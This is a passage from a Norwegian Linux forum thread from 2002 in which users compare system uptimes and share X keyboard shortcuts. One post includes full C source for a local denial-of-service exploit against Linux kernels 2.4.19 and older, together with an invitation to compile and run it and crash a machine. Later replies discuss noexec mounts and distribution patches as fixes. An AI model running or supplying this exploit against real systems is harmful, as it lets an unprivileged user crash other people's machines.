Gå til innhold

stabilt linux


xp 2200

Anbefalte innlegg

Quote:


janvidar@main1:~$ uptime

15:23:45 up 79 days, 1:50, 1 user, load average: 0.07, 0.02, 0.00


 

501# uptime

10:12pm up 1071 days, 3:55, 2 users, load average: 0.09, 0.04, 0.04

 

Men det er jo ikke en linux boks da :wink:, men en sun boks.

Uansett, bra oppetid.

 

Ellers så kan jeg også nevne disse pinglene da:

# uptime

10:30pm up 341 days, 3:57, 4 users, load average: 2.57, 2.13, 2.17

# uptime

10:29pm up 283 days, 17:32, 1 user, load average: 1.04, 1.06, 1.07

 

:smile:

Lenke til kommentar
Videoannonse
Annonse

Den 2002-12-03 20:25, skrev ism:

Quote:


Den 2002-11-21 04:18, skrev DrDoogie:


...Jeg bruker SuSE 8.1 så det er mulig at disse tastetrykkene ikke virker for deg, men jeg tror dette er generelle X ting og ikke distrospesifike:


CTRL-ALT-F8 gir deg en svart skjerm. Nå kan du bruke ALT-F1 til ALT-F6 for vanlige tty konsoller. ALT-F7 går tilbake til X

CTRL-ALT-BACKSPACE tar livet av X sesjonen


 

Takker.

Har selv investert i SuSE 8.1 Pro. og Galaxy Geforce 2 Ti naa, og har ikke hatt noe problemer siden.

Lenke til kommentar
Gjest Slettet-QqZexW9o

Stabilt ja! Stått og gått siden jeg innstallerte RH8 og den SKAL gå sånn til neste strømbrudd lenge nok til at UPS skal tømmes i tillegg dvs aldri hehe

Lenke til kommentar

Enkelt å krasje en linux kjerne da. Kompiler opp dette som vanlig bruker og kjør, så kan du vinke farvel til oppetiden din iallefall :wink:

 

Proof of consept:

Code:

/* DoS exploit for <=2.4.19 */
#include <sys/ptrace.h>

struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};

int main( void )
{
char dos[] = "x9Ax00x00x00x00x07x00";
void (* lcall7)( void ) = (void *) dos;
struct user_regs_struct d;
int pid;

if( ! ( pid = fork() ) )
{
usleep( 1000 );
(* lcall7)();
}
else
{
ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1 )
{
wait( 0 );
ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags = 0xFFFF; /* set TF flag */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );
}
}

return 1;
}

 

Velger du å faktisk eksekvere koden, så kom ikke hit og klag etterpå for at ting tok julekvelden tidlig i år. Du er herved advart, og har kun deg selv å takke for evt problemer.

 

[ Denne Melding var redigert av: Linuxguru på 2002-12-04 05:08 ]

Lenke til kommentar

Quote:


Den 2002-12-04 12:14, skrev Dj_Offset:

Enkelt nok å fikse med en grei sikkerhetspolitikk

(hvis du har brukere du ikke stoler 100% på);

Legg brukerområdene og /tmp på egne partisjoner sommonteres

med "-o noexec".

Da blir det fort vanskelig å kjøre koden etterpå

selv om du får kompilert den...


 

Ingen som gjør det da! :grin: Da er det jo totalt ubrukelig å ha brukerkonto på en slik maskin. Det blir jo som å ha en bil uten hjul det. Fint å sitte i, men det stopper stort sett der...

 

 

Quote:


Ellers har vel alle de store distroene fikset dette.

(Det finnes til og med en backport til 2.2-serien, se 2.2.23)


 

Joda, bugfiks er jo rask som bare fy i open-source miljøet - som vanlig.

Lenke til kommentar

Quote:


Ingen som gjør det da!
:grin:
Da er det jo totalt ubrukelig å ha brukerkonto på en slik maskin. Det blir jo som å ha en bil uten hjul det. Fint å sitte i, men det stopper stort sett der...


 

Spørs jo hva det er meningen at brukerne skal gjøre. Hvis du f.eks tilbyr et webhotell så er det jo ikke urimelig at man har denne policyen. Skal kunden bruke cgi script el. kan jo de ansatte fikse dette.

 

Men, jeg ville ikke hatt en slik konto :smile:

Lenke til kommentar

Quote:


Den 2002-12-04 16:32, skrev sumptrollet:

Quote:


Proud Super sharer of 4 Tera !!(so far thx 2 WD 200GB)


 

2x200GB er 0.4 Tera :smile:

Det han mente med dette var vel heller "Thanks 2 (too) WD 200GB" harddisker. Altså, mannen har flere enn to vil jeg tro :smile:

Lenke til kommentar

Quote:


Har forresten en maskin med Win98 som hadde en uptime på 72 dager, og da gikk strømmen

Og ja, den var i bruk hver eneste dag!


 

Hva **** bruker du maskina til ? Når du kjører win98 må du jo restarte for å legge inn sikkerhets patcher, enkelte program osv. Tviler på at du har fått til å bruke denne maskinen til noe nyttig. Men om du har det, så er jeg veldig interessert i å høre hva.

Lenke til kommentar

Quote:


Den 2002-12-04 22:04, skrev leinman:

Quote:


Har forresten en maskin med Win98 som hadde en uptime på 72 dager, og da gikk strømmen

Og ja, den var i bruk hver eneste dag!


 

Hva **** bruker du maskina til ? Når du kjører win98 må du jo restarte for å legge inn sikkerhets patcher, enkelte program osv. Tviler på at du har fått til å bruke denne maskinen til noe nyttig. Men om du har det, så er jeg veldig interessert i å høre hva.

 

Hva du mener er nyttig eller ikke vet ikke jeg, men den er i bruk som web server, seti server (setiqueue), surfing, tekstbehandling og chatting (mirc, icq). Og kanskje litt flash spill :smile:

 

Den står bak en firewall, og jeg installerer alle sikkerhetsoppdateringene som er tilgjengelig når strømmen går sånn nå og da :wink:

 

Holder fint som familie pc!

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...